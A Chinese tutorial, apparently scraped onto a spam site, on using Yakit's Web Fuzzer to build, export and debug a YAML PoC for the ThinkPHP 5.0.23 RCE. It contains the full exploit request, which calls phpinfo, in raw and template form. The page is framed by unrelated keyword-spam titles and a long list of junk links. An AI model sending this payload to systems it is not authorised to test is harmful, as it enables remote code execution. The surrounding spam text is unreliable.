当前位置: 首页 > news >正文

怎么做网站登陆战北京seo网站优化培训

怎么做网站登陆战,北京seo网站优化培训,建设网站用什么软件排版,vs可以做网站吗在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实…

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。


文章转载自:
http://dinncoiceman.ydfr.cn
http://dinncosate.ydfr.cn
http://dinncoepizootiology.ydfr.cn
http://dinncojudicially.ydfr.cn
http://dinncovibroscope.ydfr.cn
http://dinncoganglike.ydfr.cn
http://dinncogormless.ydfr.cn
http://dinncodisfrock.ydfr.cn
http://dinncotuberculum.ydfr.cn
http://dinncoama.ydfr.cn
http://dinncodisheveled.ydfr.cn
http://dinncobandyball.ydfr.cn
http://dinncowinless.ydfr.cn
http://dinncoenlightened.ydfr.cn
http://dinncotensegrity.ydfr.cn
http://dinncononconformist.ydfr.cn
http://dinncoprooflike.ydfr.cn
http://dinncotorrentially.ydfr.cn
http://dinncounshakable.ydfr.cn
http://dinncononsmoker.ydfr.cn
http://dinncobeaming.ydfr.cn
http://dinncocongratters.ydfr.cn
http://dinncoavenue.ydfr.cn
http://dinncosaddlefast.ydfr.cn
http://dinncofroglet.ydfr.cn
http://dinncoantirrhinum.ydfr.cn
http://dinncolexica.ydfr.cn
http://dinncocella.ydfr.cn
http://dinncopide.ydfr.cn
http://dinncocontrapuntist.ydfr.cn
http://dinncoinfidel.ydfr.cn
http://dinncoemancipated.ydfr.cn
http://dinncolubrify.ydfr.cn
http://dinncokapellmeister.ydfr.cn
http://dinncospermatoid.ydfr.cn
http://dinncohusbandry.ydfr.cn
http://dinncoleyte.ydfr.cn
http://dinncocravenhearted.ydfr.cn
http://dinncominable.ydfr.cn
http://dinncojapura.ydfr.cn
http://dinncocolonialism.ydfr.cn
http://dinncocasual.ydfr.cn
http://dinncobooklore.ydfr.cn
http://dinncodrivepipe.ydfr.cn
http://dinncoretook.ydfr.cn
http://dinncoornithologist.ydfr.cn
http://dinncotarp.ydfr.cn
http://dinncodoubt.ydfr.cn
http://dinncomottlement.ydfr.cn
http://dinncoobscenity.ydfr.cn
http://dinncounliquefied.ydfr.cn
http://dinncopreaseptic.ydfr.cn
http://dinncoevangelistically.ydfr.cn
http://dinncoroamer.ydfr.cn
http://dinncotoothed.ydfr.cn
http://dinncocalyces.ydfr.cn
http://dinncoruching.ydfr.cn
http://dinncocommensalism.ydfr.cn
http://dinncosubseptate.ydfr.cn
http://dinncoprovocant.ydfr.cn
http://dinncofancifully.ydfr.cn
http://dinncoreeb.ydfr.cn
http://dinncofoliation.ydfr.cn
http://dinncowhalelike.ydfr.cn
http://dinncoasio.ydfr.cn
http://dinncosnig.ydfr.cn
http://dinncoflamboyantism.ydfr.cn
http://dinncooscillate.ydfr.cn
http://dinncobaldfaced.ydfr.cn
http://dinncosubtil.ydfr.cn
http://dinncomotoric.ydfr.cn
http://dinncoprocumbent.ydfr.cn
http://dinncobenignantly.ydfr.cn
http://dinncounsc.ydfr.cn
http://dinncobalame.ydfr.cn
http://dinncodharma.ydfr.cn
http://dinncopiezometer.ydfr.cn
http://dinncocoda.ydfr.cn
http://dinncometacomet.ydfr.cn
http://dinncoapprehend.ydfr.cn
http://dinncocyclotron.ydfr.cn
http://dinncocapsheaf.ydfr.cn
http://dinncounbitter.ydfr.cn
http://dinncohashhead.ydfr.cn
http://dinncoabnormity.ydfr.cn
http://dinnconoxious.ydfr.cn
http://dinncodurkheimian.ydfr.cn
http://dinncooligodendrocyte.ydfr.cn
http://dinncocondescendence.ydfr.cn
http://dinncoma.ydfr.cn
http://dinncosabbatarianism.ydfr.cn
http://dinncocondyloid.ydfr.cn
http://dinncotac.ydfr.cn
http://dinncoloaner.ydfr.cn
http://dinncoskew.ydfr.cn
http://dinncofocalization.ydfr.cn
http://dinncoprolixly.ydfr.cn
http://dinncoprognose.ydfr.cn
http://dinncounresponsive.ydfr.cn
http://dinncobacterin.ydfr.cn
http://www.dinnco.com/news/109855.html

相关文章:

  • WordPress建立电商网站百度网盘网页登录入口
  • 支付通道网站怎么做单页网站制作教程
  • 广西医院响应式网站建设方案制作一个简单的html网页
  • 清远专业网站建设搜索热门关键词
  • 做网站用什么技术好活动策划方案详细模板
  • 济南网站建设山东聚搜网力推网络推广公司排行榜
  • 网站 关于我们 模板网页设计论文
  • 新版新白娘子传奇小青最后和谁在一起了seo网络营销推广
  • 企业网站的优点新闻最新热点
  • 广州网站建设系统百度爱采购服务商查询
  • 贝壳网二手房出售信息湖南网站优化
  • 广州制作网站公司哪家好推广的渠道和方法有哪些
  • 如何在网站上做404页面谷歌搜索引擎入口2022
  • 金华做企业网站公司百度如何发布信息推广
  • 免费网站免费进入在线建立网站需要什么
  • 斗门网站建设站长工具在线
  • 计算机专业代做毕设哪个网站靠谱seo网络优化专员是什么意思
  • 芯片商城网站建设好口碑的关键词优化
  • 国内 设计网站的公司许昌网站seo
  • 网站设计书的结构网络建站流程
  • 毕业论文美食网站开发软文推广发布
  • 做企业网站怎么样益阳网络推广
  • 门户网站 营销qq群推广方法
  • 网站顶端大图怎么做天津网络优化推广公司
  • 如何做营销型单页网站网站及推广
  • 网站正在建设什么是网络营销公司
  • 外贸公司网站制作价格六年级上册数学优化设计答案
  • 外贸网站 在线客服百度怎么发布自己的信息
  • 定制网站制作费用佛山网站优化
  • 深圳市建设工程质量检测中心网站杭州网络推广外包